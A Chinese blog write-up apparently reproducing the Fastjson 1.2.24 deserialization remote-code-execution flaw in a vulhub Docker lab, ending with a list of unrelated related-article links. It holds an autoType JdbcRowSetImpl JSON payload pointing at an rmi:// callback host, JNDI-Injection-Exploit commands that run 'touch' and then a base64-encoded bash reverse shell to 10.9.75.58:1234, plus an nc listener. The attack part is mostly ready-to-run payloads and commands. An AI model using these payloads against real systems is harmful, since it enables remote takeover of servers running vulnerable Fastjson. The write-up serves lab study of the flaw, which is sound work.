• Fastjson_1.2.24_unserialize_rce漏洞复现


    fastjson_1.2.24_unserialize_rce

    说明内容
    漏洞编号CNVD-2017-02833
    漏洞名称FastJson <= 1.2.24 远程代码执行
    漏洞评级高危
    影响范围1.2.24
    漏洞描述通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查
    修复方案升级组件,打补丁,上设备

    1.1 漏洞描述

    ​ FastJson是Alibaba的一款开源Json解析库,可用于将Java对象转换为其Json表示形式,也可以用于将Json字符串转换为等效的Java对象。近几年来FastJson漏洞层出不穷。RCE漏洞的源头:17年FastJson爆出的1.2.24反序列化漏洞。
    ​ 关于FastJson1.2.24反序列化漏洞,简单来说,就是FastJson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的。

    ​ fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

    1.2 漏洞等级

    高危

    1.3 影响版本

    1.2.24

    1.4 漏洞复现

    1.4.1 基础环境

    组件版本
    vulhub/fastjson/1.2.24-rce
    FastJson1.2.24

    运行测试环境:

    sudo docker-compose up -d
    
    • 1

    image-20230908110512596

    环境运行后,访问http://your-ip:8090即可看到JSON格式的输出

    image-20230908110613995

    1.4.2 漏洞验证

    获取数据包:

    image-20230908111830528

    GET请求转成POST请求,并把表单类型改为json类型,发包测试数据:

    {"name":"GHUI","age":23}
    
    • 1

    image-20230908111947337

    上图过程:

    json -序列化->  object  -反序列化->  json
    
    • 1

    1.4.3 漏洞检测

    可以使用BurpSuite扩展fastjsonScan 进行漏洞检测

    下载插件:

    proxychains wget https://github.com/Maskhe/FastjsonScan/releases/download/1.0/FastjsonScan.jar
    
    • 1

    添加插件:

    image-20230908114000386

    image-20230908114143477

    添加成功:

    image-20230908114449443

    利用:

    image-20230908115104034

    得到漏洞利用的poc:

    {"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://p0q52dzlyyr7lwzrv7xvlzozmqsgg5.oastify.com/aaa","autoCommit":true}}
    
    • 1

    image-20230908115857882

    说明:

    ​ RMI全称为:Remote Method Invocation 远程方法调用,是java独立的一种机制。

    ​ RMI的作用就是在一个java虚拟机调用另一个java虚拟机上对象的方法在网络传输的过程中,RMI中对象是通过序列化的形式进行编码传输,既然有序列化,必然会有反序列化,RMI服务端在接收到序列化后的会将对象进行反序列化。

    ​ 在反序列化攻击中,我们可能找不到反序列化的点,那么使用RMI就可以作为反序列化利用链的触发点

    java远程加载恶意类 RMI

    若不知道RMI,可以把RMI理解为类似于http协议远程加载一个类。

    使用DNSlog ,查看是否有回显:

    第一步:

    image-20230908145212920

    第二步:

    image-20230908145412852

    第三步:

    image-20230908145622337

    第四步:将rmi换成ldap

    image-20230908151716544

    检测结果:

    image-20230908151656827

    检测到了,说明我们生成的rmi能够尝试在外部请求资源。

    构造RMI服务器:

    git config -l #拿到网址:https://github.com/welk1n/JNDI-Injection-Exploit.git
    
    
    • 1
    • 2

    解释:

    ​ 命令git config -l用于列出Git版本控制系统的配置信息。通过运行该命令,您可以查看当前项目或全局的Git配置项及其对应的值。这些配置项包括用户名、邮箱、编辑器设置、远程仓库等。

    image-20230908152614140

    打开网址,有使用说明:

    $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
    
    • 1

    image-20230908152714138

    1.4.4 漏洞验证

    开启RMI服务器:

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/ghuii" -A "10.9.75.58"
    
    • 1

    image-20230908154109055

    复制rmi://10.9.75.58:1099/1hjdrq到bp中:

    image-20230908153356593

    发包:

    image-20230908154156758

    这里显示有请求。

    看一下在tmp中是否创建了ghuii文件:

    sudo docker ps -a
    
    • 1

    image-20230908153728023

    sudo docker exec -it 729 /bin/bash
    
    • 1

    image-20230908153838351

    image-20230908154439914

    ghuii文件创建成功

    居然这里能够创建文件,那么是不是能上传一个反弹shell:

    bash -i >& /dev/tcp/10.9.75.58/1234 0>&1
    
    #base64编码:
    YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjU4LzEyMzQgMD4mMQ==
    
    #将编码放入:
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjU4LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    或者直接构造

    image-20230908154914592

    开启监听端口:

    nc -lnvp 1234
    
    • 1

    image-20230908155250012

    然后把-C里面的数据换掉:

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjU4LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "10.9.75.58"
    
    • 1

    image-20230908162820313

    ldap://10.9.75.58:1389/fuwphp 复制到bp:

    image-20230908162859260

    发包:

    image-20230908162715065

    成功监听到。

    总结:

    Fastjson_1.2.24存在反序列化漏洞。

    注:做反弹shell时,需要本地构造一个一个服务器,让对方服务器到本地访问加载资源,然后执行恶意命令。

  • 相关阅读:
    BufferCache与PageCache
    【Python基础篇017】6000字带你初识面向对象
    网易数帆黄久远:大规模Kubernetes监控体系建设之路
    css 优惠券
    Python解决图文验证码登录识别(1)
    RAID磁盘阵列技术
    C++编译链接详解
    VS 2022 设计 WinForm 高DPI兼容程序
    java-php-python-基于Web的社区商超系统的设计与实现计算机毕业设计
    记录:移动设备软件开发(Activity的显式启动和隐式启动)
  • 原文地址:https://blog.csdn.net/qq_45953122/article/details/132818769